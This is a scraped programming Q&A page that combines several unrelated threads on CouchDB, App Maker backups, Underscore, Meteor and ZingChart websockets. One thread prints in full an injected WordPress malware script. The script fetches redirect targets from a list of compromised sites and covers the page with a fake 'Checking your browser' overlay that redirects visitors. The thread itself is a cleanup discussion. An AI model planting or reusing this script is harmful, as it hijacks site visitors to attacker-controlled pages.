Can I connect to CouchDB from ASP Classic / Javascript running on Windows? - asp-classic

Cloudant offers a hosted CouchDB, with a free starter level allowing 6GB of IO per month.
Good for developers learning CouchDB.
Since CouchDB allows specification of the map/reduce functions in Javascript, it might make sense to connect to it via Javascript, running in Classic ASP.
Possible?

Yes, why not?
Cloudant is accessible via HTTP/REST. Nothing special there.
ASP Classic / Javascript can use MSXML2.ServerXMLHttp to send out requests, in much the same way that XMLHttpRequest can be used on client-side Javascript.
What would be nice is a Javascript library for CouchDB that does not assume it is running in a browser, nor in Node, since ASP Classic is neither of those. Here's a start:
https://gist.github.com/3016476
Example ASP code:
var creds = getCloudantCredentials("cloudantCreds.txt");
var couch = new CouchDB(couchUrl);
couch.connect(creds[0],creds[1]);
var r = couch.listDbs();
say("all dbs: " + JSON.stringify(r, null, 2));
r = couch.view('dbname', 'baseViews', 'bywords',
{ include_docs: false,
key: "whatever",
reduce:true} );
say("view: " + JSON.stringify(r, null, 2));
This is how you might create a set of views:
function createViews(dbName, viewSet) {
var r, doc,
empty = function(doc) {
if ( ! doc.observation || doc.observation === '') {
emit(null, doc);
}
},
bywordsMap = function(doc) {
var tokens, re1,
uniq = function(a) {
var o = {}, i = 0, L = a.length, r = [];
for (; i < L; i++) {
if (a[i] !== '' && a[i] !== ' ') {
o[a[i]] = a[i];
}
}
for (i in o) { r.push(o[i]); }
return r;
};
if ( doc.observation && doc.observation !== '') {
tokens = uniq(doc.observation.split(/( +)|\./));
if (tokens && tokens.length > 0) {
tokens.map(function(token) {
emit(token, 1);
});
}
}
};
viewSet = viewSet || 'baseViews';
try {
r = couch.deleteView(dbName, viewSet);
doc = { views: { empty: { map:stringRep(empty) },
bywords: { map:stringRep(bywordsMap)}}};
r = couch.createView(dbName, viewSet, doc);
}
catch (exc1) {
say ('createViews() failed: ' + JSON.stringify(exc1));
}
}
function stringRep(fn) {
return fn.toString()
.replace(/[\s\t]*\/\/.*$/gm, '') // comments
.replace(/\n */gm, ' ')
.replace(/\r */gm, ' ')
.replace(/\{ +/gm, '{')
.replace(/ +\}/gm, '}');
}

Related

Backup App Maker Data Nightly

Is there a way to do a nightly backup of an App Maker database? Just in case a user accidentally deletes any data?
Even just having an outputted spreadsheet would be acceptable.
You can create an clock based Installable Trigger that will execute once a day in the morning before office hours.
This piece of code will be on a Server side script and will look something like this:
function createInstallableTrigger() {
// Runs at 5am in the timezone of the script
ScriptApp.newTrigger("backUp")
.timeBased()
.atHour(5)
.everyDays(1) // Frequency is required if you are using atHour() or nearMinute()
.create();
}
function backUp() {
try {
var spreadSheet = SpreadsheetApp.openById("").getActiveSheet(),
dataToBackUp = [],
globalKeys = {
model: ["first_name", "last_name", "email"],
label: ["First Name", "Last Name", "Email"]
},
var records = app.models.requests.newQuery().run();
if(records.length >= 1) {
for (var i = 0; i < records.length; i++) {
var newLine = [];
for (var x = 0; x < globalKeys.model.length; x++) {
newLine.push(records[i][globalKeys.model[x]]);
}
dataToBackUp.push(newLine);
// at the end, push it all on the spreadsheet
if(i === records.length - 1) {
// check if there is any entry at all
if(dataToBackUp.length >= 1) {
// append column titles first
spreadSheet.appendRow(globalKeys.label);
//
spreadSheet.getRange(2, 1, dataToBackUp.length, globalKeys.model.length).setValues(dataToBackUp);
}
}
}
}
} catch(e) {
console.log(e);
}
}

Suspicious code in WordPress any idea how to remove this?

(function () {
//<script>
var w_location = null;
var domains = [
'http://kntsv.nl/images/tmp.php',
'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
'http://langedijke.nl/plugins/tmp.php',
'http://megateuf.edelo.net/cgi-bin/tmp.php',
'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
'http://yofeet.com/drupal/modules/tmp.php',
'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
'http://www.devonportmotors.co.nz/images/tmp.php'
];
function getDomainName(domain) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
if (xhr.responseText && xhr.responseText.trim().length > 0) {
w_location = xhr.responseText.trim();
}
}
};
xhr.open('GET', domains[0], true);
xhr.send();
}
for (var i = 0; i < domains.length; i++) {
getDomainName(domains[i]);
}
function start() {
var from = document.referrer;
var i;
// If it's direct
var eee = ["", " "];
var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
if (checkCookie()) {
return;
}
var uagent = navigator.userAgent;
if (!uagent || uagent.length == 0) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
|| uagent.indexOf('crawl') != -1) {
} else {
hideWebSite();
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
return true;
} else {
localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
}
var referrerRedirectCookie = getCookie("referrerRedirectCookie");
if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
return true;
} else if (document.cookie.indexOf('wordpress_logged') !== -1
|| document.cookie.indexOf('wp-settings') !== -1
|| document.cookie.indexOf('wordpress_test') !== -1) {
return true;
} else {
setCookie("referrerRedirectCookie", "do not redirect", 730);
return false;
}
}
}
function createPopup() {
var popup = document.createElement('div');
popup.style.position = 'absolute';
popup.style.width = '100%';
popup.style.height = '100%';
popup.style.left = 0;
popup.style.top = 0;
popup.style.backgroundColor = 'white';
popup.style.zIndex = 99999;
document.body.appendChild(popup);
popup.onclick = function () {
var intervalId = setInterval(() = > {
if (
!w_location
)
{
return;
}
clearInterval(intervalId);
window.location = w_location;
},
10
)
;
};
var p = document.createElement('p');
p.innerText = "Checking your browser before accessing "
+ window.location.host + "...";
p.style.textAlign = 'center';
//p.style.margin = '20px auto';
//p.style.left = '20px';
p.style.fontSize = 'x-large';
p.style.position = 'relative';
p.textContent = p.innerText;
popup.appendChild(p);
return popup;
}
function createButton() {
var button = document.createElement('div');
button.style.position = 'absolute';
button.style.top = '20%';
button.style.left = '10%';
button.style.right = '10%';
button.style.width = '80%';
button.style.border = "1px solid black";
button.style.textAlign = 'center';
button.style.verticalAlign = 'middle';
button.style.margin = '0, auto';
button.style.cursor = 'pointer';
button.style.fontSize = 'xx-large';
button.style.borderRadius = '5px';
button.onclick = function () {
window.location = w_location;
};
button.onmouseover = function () {
button.style.border = '1px solid red';
button.style.color = 'red';
};
button.onmouseout = function () {
button.style.border = '1px solid black';
button.style.color = 'black';
};
button.innerText = "Continue";
button.textContent = button.innerText;
return button;
}
var hideWebSite = function () {
var popup = createPopup();
var button = createButton();
popup.appendChild(button);
};
var readyStateCheckInterval = setInterval(function () {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
//</script>
})
I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.
I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.
UPDATE
This is what the site shows when infected:
You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable ZJPMAWHWOE which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.
If you go to website https://sitecheck.sucuri.net/ and check for your site then you will get the infection alert from them:
Upon further investigation we found the following:
As pointed out by OP and others in comments, GREP into the website's files and other sites' files in the same server for any traces of the infected code (either encrypted or decrypted) did not give any results, meaning the infection was not in any files (at least not in that form).
We noticed some extra garbage chars at the bottom of our page where we have our "legal" disclaimer:
Tracked down what part of the final HTML had the infection (and/or garbage chars), for our case looking for JS variable ZJPMAWHWOE
Efectively, the script code was present in a known HTML piece which for us was the "legal" page that exists in one of our WordPress pages.
This was pointing now to the code being inside pages/post directly edited in WordPress. We went in and checked for the legal page and found it there (noticed the same garbage chars first):
And then while scrolling down (in Text view, to get the raw HTML of the page) we got to this:
We checked for other pages and posts in the site and the same injected code was present in them.
Once we cleaned them all the infection seems to be gone.
So now, how is that attack accomplished? our theory is that only by getting WordPress user credentials and editing the pages/posts; in our case that was fairly easy since our /wp-admin login pages are not HTTPS protected so our user and passwords can be easily sniffed; we think that was the way they got user credentials and afterwards edited the pages/posts to add the malicious code.
Besides the clean up we also did the following:
Updated the system password database
Deleted all users from WordPress; we only left in there ‘admin’ and my user (both with Administrator roles)
Updated the passwords for users ‘admin’ and my user
Recreated users with new passwords for blog editors
In progress: We are getting HTTPS for our WordPress in order to protect the user/password information that is submitted each time we login to wp-admin.
I would also like to hear about other recommendations about how to increase the security of our WordPress as well as other theories about how did they were able to inject the malicious code within the pages/posts.

Exception in template helper: TypeError: _.mapObject is not a function

I have facing the below issue while using underscorejs running on meteor.
"Exception in template helper: TypeError: _.mapObject is not a
function"
Please advise.
var types = _.groupBy(areaFlatten, 'category');
console.log(types);
var result = **_.mapObject**(types, function(val, key) {
return _.reduce(val, function(memo, v) {
return memo + v.val;
}, 0) / val.length * 10;
I think you are using an older version of Underscore. _.mapObject was added in v1.8.0 (http://underscorejs.org/#changelog)
Alternative without using _.mapObject:
var types = _.groupBy(areaFlatten, 'category');
console.log(types);
var result = {};
_.each(types, function(val, key) {
result[key] = _.reduce(val, function(memo, v) {
return memo + v.val;
}, 0) / val.length * 10;
});
If you are going to use this functionality regularly, you could add a mixin to make the function available until you get a chance to upgrade, see here https://jsfiddle.net/Lradh7jd/1/
_.mixin({
mapObject: function(obj, iteratee, context) {
var output = {};
_.each(obj, function(v, k) {
output[k] = iteratee.apply(context || this, arguments);
});
return output;
}
});

Dealing with EventEmitter events in Meteor?

I am trying to use an Asterisk Manager NPM module in Meteor, but am having difficulties with processing emitted events.
This NPM module establishes a permanent connection to Asterisk Manager and emits whatever Events it receives from Asterisk. I've managed to patch the code so that it runs in Meteor. It connects to Asterisk, emits events and I can log them to console, but once I try to do something with the data, like insert it into a collection, I receive the following error:
Error: Meteor code must always run within a Fiber. Try wrapping callbacks that you pass to non-Meteor libraries with Meteor.bindEnvironment.
How do I overcome that? Thank you.
server side code:
var ami = new AsteriskManager( { username: 'meteor', password: '123456' } );
ami.on('ami_data', function(data){
console.log(data); // <- this works fine
// the following causes the error
EventsLog.insert({ timestamp: (new Date()).getTime(),
data: data});
});
ami.connect(function(){});//creates a socket connection and sends the login action
the patched npm module code:
var util = Npm.require('util');
var events = Npm.require('events').EventEmitter;
var net = Npm.require('net');
var AsteriskConstructor = function AsteriskManager(params){
params = params || {};
this.net = net;
this.CRLF = "\r\n";
this.END = "\r\n\r\n";
this.buffer = "";
this.port = params.port || 5038;
this.host = params.host || 'localhost';
this.username = params.username || 'username';
this.password = params.password || 'password';
this.enable_debug = params.debug || false;
this.reconnect = params.reconnect || false;
this.reconnect_after = params.reconnect_after || 3000;
this.events = (params.events != undefined ? params.events : true);
this.identifier = params.identifier || false;
this.ami_encoding = params.ami_encoding || 'ascii';
};
AsteriskManager = AsteriskConstructor;
util.inherits(AsteriskManager, events);
AsteriskManager.prototype.connect = function(connect_cb, data_cb){
var self = this;
self.debug('running ami connect');
self.socket = null;
self.socket = this.net.createConnection(this.port, this.host);//reopen it
self.socket.setEncoding(this.ami_encoding);
self.socket.setKeepAlive(true, 500);
self.socket.on('connect', function(){
self.debug('connected to Asterisk AMI');
//login to the manager interface
self.send({Action: 'login', Username : self.username, Secret : self.password, Events: (self.events ? 'on' : 'off')});
if(connect_cb && typeof connect_cb == 'function'){
connect_cb();
}
}).on('data', function(data){
if(data_cb && typeof data_cb == 'function'){
data_cb(data);
}
var all_events = self.processData(data);
for(var i in all_events){
var result = all_events[i];
if(result.response && result.message && /Authentication/gi.exec(result.message) == 'Authentication'){
self.emit('ami_login', ((result.response == 'Success') ? true : false) ,result);
}
self.emit('ami_data', result);
}
}).on('drain', function(){
self.debug('Asterisk Socket connection drained');
self.emit('ami_socket_drain');
}).on('error', function(error){
if(error){
self.debug('Asterisk Socket connection error, error was: ' + error);//prob lost connection to ami due to asterisk restarting so restart the connection
}
self.emit('ami_socket_error', error);
}).on('timeout',function(){
self.debug('Asterisk Socket connection has timed out');
self.emit('ami_socket_timeout');
}).on('end', function() {
self.debug('Asterisk Socket connection ran end event');
self.emit('ami_socket_end');
}).on('close', function(had_error){
self.debug('Asterisk Socket connection closed, error status - ' + had_error);
self.emit('ami_socket_close', had_error);
if(self.reconnect){
self.debug('Reconnecting to AMI in ' + self.reconnect_after);
setTimeout(function() {
self.connect(connect_cb, data_cb);
}, self.reconnect_after);
}
});
}
AsteriskManager.prototype.disconnect = function(){
this.reconnect = false;//just in case we wanted it to reconnect before, we've asked for it to be closed this time so make sure it doesnt reconnect
this.socket.end(this.generateSocketData({Action: 'Logoff'}));
}
AsteriskManager.prototype.destroy = function(){
this.socket.destroy();
}
AsteriskManager.prototype.processData = function(data, cb){
/*
Thanks to mscdex for this bit of code that takes many lots of data and sorts them out into one if needed!
https://github.com/mscdex/node-asterisk/blob/master/asterisk.js
*/
data = data.toString();
if (data.substr(0, 21) == "Asterisk Call Manager"){
data = data.substr(data.indexOf(this.CRLF)+2); // skip the server greeting when first connecting
}
this.buffer += data;
var iDelim, info, headers, kv, type, all_events = [];
while ((iDelim = this.buffer.indexOf(this.END)) > -1) {
info = this.buffer.substring(0, iDelim+2).split(this.CRLF);
this.buffer = this.buffer.substr(iDelim + 4);
result = {}; type = ""; kv = [];
for (var i=0,len=info.length; i<len; i++) {
if (info[i].indexOf(": ") == -1){
continue;
}
kv = info[i].split(": ", 2);
kv[0] = kv[0].toLowerCase().replace("-", "");
if (i==0){
type = kv[0];
}
result[kv[0]] = kv[1];
}
if(this.identifier){
result.identifier = this.identifier;
}
all_events.push(result);
}
return all_events;
}
AsteriskManager.prototype.debug = function(data){
if(this.enable_debug){
console.log(data);
}
}
AsteriskManager.prototype.generateRandom = function(){
return Math.floor(Math.random()*100000000000000000);
}
AsteriskManager.prototype.generateSocketData = function(obj){
var str = '';
for(var i in obj){
str += (i + ': ' + obj[i] + this.CRLF);
}
return str + this.CRLF;
}
AsteriskManager.prototype.send = function(obj, cb) {
//check state of connection here, if not up then bail out
if(!obj.ActionID){
obj.ActionID = this.generateRandom();
}
//maybe i should be checking if this socket is writeable
if(this.socket != null && this.socket.writable){
this.debug(obj);
this.socket.write(this.generateSocketData(obj), this.ami_encoding, cb);
}else{
this.debug('cannot write to Asterisk Socket');
this.emit('ami_socket_unwritable');
}
}
As the error message says "Try wrapping callbacks that you pass to non-Meteor libraries with Meteor.bindEnvironment"
ami.on('ami_data', Meteor.bindEnvironment( function(data){
console.log(data); // <- this works fine
// the following causes the error
EventsLog.insert({ timestamp: (new Date()).getTime(),
data: data});
}, function( error) { console.log( error);})
);
There are a lot of other examples around.
If the server code above is not in a Fiber you might get "Meteor code must always run within a Fiber" error.

Real time data and retrieval plotting

So my question is as follows: I'm working on a mobile application that takes data from a vital sign sensor and sends to a telehealth server, so that a physician is able to retrieve the data from the server in real time as a plotted curve.
As I have a very weak background on this, my question is of two parts: a) how do I retrieve the data from the server in real time and b) can I use HTML5 libs or anything similar like HighCharts or Meteor charts or ZingCharts to have them plotted or is it impossible? Please be very specific as again I have a weak background on this :)
In ZingChart, you can do this in two ways:
Method 1 - Via Websockets - EX: http://www.zingchart.com/dataweek/presentation/feed.html
The websocket transport is part of the refresh/feed section, its attribute can be found here: Graph >> Refresh section of the ZingChart JSON docs. In addition, a server socket component is required and it has to follow some standard protocol in order to allow connectivity and transport with the client socket.
To get specific:
###############################
# NodeJS code
###############################
#!/usr/bin/env node
var WebSocketServer = require('websocket').server;
var http = require('http');
var server = http.createServer(function(request, response) {
response.writeHead(404);
response.end();
});
server.listen(8888, function() {
console.log((new Date()) + ' Server is listening on port 8888');
});
wsServer = new WebSocketServer({
httpServer: server,
autoAcceptConnections: false
});
function originIsAllowed(origin) {
return true;
}
wsServer.on('request', function(request) {
if (!originIsAllowed(request.origin)) {
request.reject();
console.log((new Date()) + ' Connection from origin ' + request.origin + ' rejected.');
return;
}
var type = '',
method = '',
status = 0;
var connection = request.accept('zingchart', request.origin);
connection.on('message', function(message) {
function startFeed() {
console.log('start feed');
status = 1;
if (method == 'push') {
sendFeedData();
}
}
function stopFeed() {
console.log('stop feed');
status = 0;
}
function sendFeedData() {
if (method == 'push') {
var ts = (new Date()).getTime();
var data = {
"scale-x": ts,
"plot0": [ts, parseInt(10 + 100 * Math.random(), 10)]
};
console.log('sending feed data (push)');
connection.sendUTF(JSON.stringify(data));
if (status == 1) {
iFeedTick = setTimeout(sendFeedData, 500);
}
} else if (method == 'pull') {
var data = [];
var ts = (new Date()).getTime();
for (var i = -5; i <= 0; i++) {
data.push({
"scale-x": ts + i * 500,
"plot0": [ts + i * 500, parseInt(10 + 100 * Math.random(), 10)]
});
}
console.log('sending feed data (pull)');
connection.sendUTF(JSON.stringify(data));
}
}
function sendFullData() {
var data = {
type: "bar",
series: [{
values: [
[(new Date()).getTime(), parseInt(10 + 100 * Math.random(), 10)]
]
}]
};
console.log('sending full data');
connection.sendUTF(JSON.stringify(data));
if (status == 1) {
if (method == 'push') {
setTimeout(sendFullData, 2000);
}
}
}
if (message.type === 'utf8') {
console.log('************************ ' + message.utf8Data);
switch (message.utf8Data) {
case 'zingchart.full':
type = 'full';
break;
case 'zingchart.feed':
type = 'feed';
break;
case 'zingchart.push':
method = 'push';
break;
case 'zingchart.pull':
method = 'pull';
break;
case 'zingchart.startfeed':
startFeed();
break;
case 'zingchart.stopfeed':
stopFeed();
break;
case 'zingchart.getdata':
status = 1;
if (type == 'full') {
sendFullData();
} else if (type == 'feed') {
sendFeedData();
}
break;
}
}
});
connection.on('close', function(reasonCode, description) {
status = 0;
console.log((new Date()) + ' Peer ' + connection.remoteAddress + ' disconnected.');
});
});
###############################################
# Sample JSON settings for socket transport
###############################################
refresh: {
type: "feed",
transport: "websockets",
url: "ws://198.101.197.138:8888/",
method: "push",
maxTicks: 120,
resetTimeout: 2400
}
or
refresh: {
type: "feed",
transport: "websockets",
url: "ws://198.101.197.138:8888/",
method: "pull",
interval: 3000,
maxTicks: 120,
resetTimeout: 2400
}
Method 2 - Via API - EX: http://www.zingchart.com/dataweek/presentation/api.html
In the case you described, this would involve setting intervals of time at which you would like to retrieve data from your server, and then pass that data via the API. Check out the "Feed" section in API-Methods section of the ZingChart docs.

Resources